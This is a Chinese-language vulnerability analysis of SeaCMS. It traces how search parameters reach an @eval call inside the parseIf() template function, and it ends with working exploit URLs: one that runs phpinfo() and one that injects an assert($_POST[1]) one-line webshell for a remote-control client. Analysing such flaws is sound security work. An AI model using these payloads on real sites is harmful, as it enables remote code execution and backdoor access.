海洋cms前台任意代码执行

漏洞分析

  我们首先来到/search.php中第183行:

$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->;parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);

  我们可以看到这里调用了一个函数parseIf(),我们跟踪一下该函数,在/include/main.class.php中第3087行:

function parseIf($content){
                if (strpos($content,'{if:')=== false){
                return $content;
                }else{
                $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
                $labelRule2="{elseif";
                $labelRule3="{else}";
                preg_match_all($labelRule,$content,$iar);
                $arlen=count($iar[0]);
                $elseIfFlag=false;
                for($m=0;$m<$arlen;$m++){
                        $strIf=$iar[1][$m];
                        $strIf=$this->parseStrIf($strIf);
                        $strThen=$iar[2][$m];
                        $strThen=$this->parseSubIf($strThen);
                        if (strpos($strThen,$labelRule2)===false){
                                if (strpos($strThen,$labelRule3)>=0){
                                        $elsearray=explode($labelRule3,$strThen);
                                        $strThen1=$elsearray[0];
                                        $strElse1=$elsearray[1];
                                        @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                                        if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                                }else{
                                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
                        }else{
                                $elseIfArray=explode($labelRule2,$strThen);
                                $elseIfArrayLen=count($elseIfArray);
                                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                                $resultStr=$elseIfSubArray[1];
                                $elseIfArraystr0=addslashes($elseIfArray[0]);
                                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                                        $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                                        $strElseIf=$this->parseStrIf($strElseIf);
                                        $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                                        @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                                        @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                                        if ($elseIfFlag) {break;}
                                }
                                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                                $content=str_replace($iar[0][$m],$resultStr,$content);
                        }
                }
                return $content;
                }
        }

  可以看到其中有很多个@eval,并且其中带有变量,那么如果这些变量我们可控的话,那么我们岂不是可以造成任意代码执行了?

  那我们开始分析到底这些变量可不可控,这么多if,如果我们一个个的分析很麻烦,我们采用下断点的方式,看一下程序正常进入到了哪个if中,我这里是最后测出来到了

if (strpos($strThen,$labelRule2)===false){
                                if (strpos($strThen,$labelRule3)>=0){
                                        $elsearray=explode($labelRule3,$strThen);
                                        $strThen1=$elsearray[0];
                                        $strElse1=$elsearray[1];
                                        @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                                        if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                                }else{

  这个if语句中。我们看到这个eval函数中,有一个$strIf变量,我们看一下这个变量怎么来的:

$strIf=$iar[1][$m];
                        $strIf=$this->parseStrIf($strIf);

  首先这个是__$iar[1]__的一个元素,然后调用了parseStrIf()进行处理,那么我们继续跟一下 这个函数,在该函数的上方:

function parseStrIf($strIf)
        {
                if(strpos($strIf,'=')===false)
                {
                        return $strIf;
                }
                if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))
                {
                        $strIf=str_replace('=', '==', $strIf);
                }
                $strIfArr =  explode('==',$strIf);
                return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]);
        }

  如果没有等号就返回原本的字符串,如果有等号,就变成双等号,然后将字符串用双等号分隔开后,如果前两个元素都不为空,就返回前两个元素用双等号连接起来的字符串。
  而这个$iar[1]又是从哪里来的?
  看到上面

$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
                $labelRule2="{elseif";
                $labelRule3="{else}";
                preg_match_all($labelRule,$content,$iar);

  做了一个正则匹配,而这个$iar[1]就是匹配到的第一个括号中的内容,也就是第一个匹配子组的内容。
  那么这样就好办了,可以看到有一个关键字if,我们继续回溯到$content中去。
  在search.php的117行:

if($cfg_iscache){
                if(chkFileCache($cacheName)){
                        $content = getFileCache($cacheName);
                }else{
                        $content = parseSearchPart($searchTemplatePath);
                        setFileCache($cacheName,$content);
                }
        }else{
                        $content = parseSearchPart($searchTemplatePath);
        }

  其中$cfg_iscache默认设置的为1,然后就是我们每搜索一次,都会已我们搜索的关键词作为文件名生成一个cache文件,这里是判断是否存在相同的搜索cache文件,如果没有就直接$content=parseSeachPart($searchTemplatePath).这里的$searchTemplatePath是/templets/default/html/cascade.html。然后我们跟踪一下parseSeachPart函数:
  在190行:

function parseSearchPart($templatePath)
{
        global $mainClassObj,$tid;
        $currentTypeId = empty($tid)?0:$tid;
        $content=loadFile(sea_ROOT.$templatePath);
        $content=$mainClassObj->parseTopAndFoot($content);
        $content=$mainClassObj->parseAreaList($content);
        $content=$mainClassObj->parseHistory($content);
        $content=$mainClassObj->parseSelf($content);
        $content=$mainClassObj->parseGlobal($content);
        $content=$mainClassObj->parseMenuList($content,"",$currentTypeId);
        $content=$mainClassObj->parseVideoList($content,$currentTypeId);
        $content=$mainClassObj->parsenewsList($content,$currentTypeId);
        $content=$mainClassObj->parseTopicList($content);
        return $content;
}

  就是一个组装模板的函数,将各个栏目的模板都塞进来。


  然后我们继续跟踪$content。
当seachtype==5的时候,我们发现很多东西使我们可控的:

if(intval($searchtype)==5)
        {
                $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
                $jq = !empty($jq)?$jq:'全部';
                $area = !empty($area)?$area:'全部';
                $year = !empty($year)?$year:'全部';
                $yuyan = !empty($yuyan)?$yuyan:'全部';
                $letter = !empty($letter)?$letter:'全部';
                $state = !empty($state)?$state:'全部';
                $ver = !empty($ver)?$ver:'全部';
                $money = !empty($money)?$money:'全部';
                $content = str_replace("{searchpage:type}",$tid,$content);
                $content = str_replace("{searchpage:typename}",$tname ,$content);
                $content = str_replace("{searchpage:year}",$year,$content);
                $content = str_replace("{searchpage:area}",$area,$content);
                $content = str_replace("{searchpage:letter}",$letter,$content);
                $content = str_replace("{searchpage:lang}",$yuyan,$content);
                $content = str_replace("{searchpage:jq}",$jq,$content);
                if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
                if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
                $content = str_replace("{searchpage:state}",$state2,$content);
                $content = str_replace("{searchpage:money}",$money2,$content);
                $content = str_replace("{searchpage:ver}",$ver,$content);
                $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
                $content=$mainClassObj->parseSearchItemList($content,"type");
                $content=$mainClassObj->parseSearchItemList($content,"year");
                $content=$mainClassObj->parseSearchItemList($content,"area");
                $content=$mainClassObj->parseSearchItemList($content,"letter");
                $content=$mainClassObj->parseSearchItemList($content,"lang");
                $content=$mainClassObj->parseSearchItemList($content,"jq");
                $content=$mainClassObj->parseSearchItemList($content,"state");
                $content=$mainClassObj->parseSearchItemList($content,"ver");
                $content=$mainClassObj->parseSearchItemList($content,"money");

  因为这个cms的变量注册机制,这里有很多变量是我们可控的:

$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
                $jq = !empty($jq)?$jq:'全部';
                $area = !empty($area)?$area:'全部';
                $year = !empty($year)?$year:'全部';
                $yuyan = !empty($yuyan)?$yuyan:'全部';
                $letter = !empty($letter)?$letter:'全部';
                $state = !empty($state)?$state:'全部';
                $ver = !empty($ver)?$ver:'全部';
                $money = !empty($money)?$money:'全部';

  这些都是,然后我们看一下这些变量都被替换到了模板里面:

$content = str_replace("{searchpage:type}",$tid,$content);
                $content = str_replace("{searchpage:typename}",$tname ,$content);
                $content = str_replace("{searchpage:year}",$year,$content);
                $content = str_replace("{searchpage:area}",$area,$content);
                $content = str_replace("{searchpage:letter}",$letter,$content);
                $content = str_replace("{searchpage:lang}",$yuyan,$content);
                $content = str_replace("{searchpage:jq}",$jq,$content);

  一切弄好之后,就调用parseif了,那么可以看到这个$conten中是有我们可控的变量的。那么为了方便,我将$content给ech出来,然后看看我们可控的变量在哪个位置,看看能不能造成代码注入。
  当我们访问:
localhost/seacms/search.php?searchtype=5&tid=0&year=23333
的时候,我们看到$content中的2333出现的位置:

</a>{end if} {if: 2015
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2015">2015
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2015">2015
</a>{end if} {if: 2014
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2014">2014
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2014">2014
</a>{end if} {if: 2013
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2013">2013
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2013">2013
</a>{end if} {if: 2012
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2012">2012
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2012">2012
</a>{end if} {if: 2011
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2011">2011
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2011">2011
</a>{end if} {if: 2010
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2010">2010
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2010">2010
</a>{end if} {if: 2009
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2009">2009
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2009">2009
</a>{end if} {if: 2008
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2008">2008
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2008">2008
</a>{end if} {if: 2007
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2007">2007
</a></b>{else}<a href="/seacms/search.php?searchtype=5&tid=0&year=2007">2007
</a>{end if} {if: 2006
=23333}<b><a href="/seacms/search.php?searchtype=5&tid=0&year=2006">2006

  可以看到在这里if后面是跟着我们可控的,我们回到上面的分析,看到那个正则表达式:
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
  可以看到,哈哈,第一个小括号里面的内容是我们所能控制的,那么就意味着我们控制了$str变量中的一部分内容,可以导致代码执行。

漏洞利用

  比如调出一个phpinfo:
http://localhost/seacms/search.php?searchtype=5&tid=0&year=23334444);phpinfo();//


  但是我们控制的部分逗号会被清除掉,导致我们很难直接写shell。但是我们可以直接构造一个一句话来让我们菜刀进行连接:
http://localhost/seacms/search.php?searchtype=5&tid=0&year=23334444);assert($_POST[1]);//

Comments
Write a Comment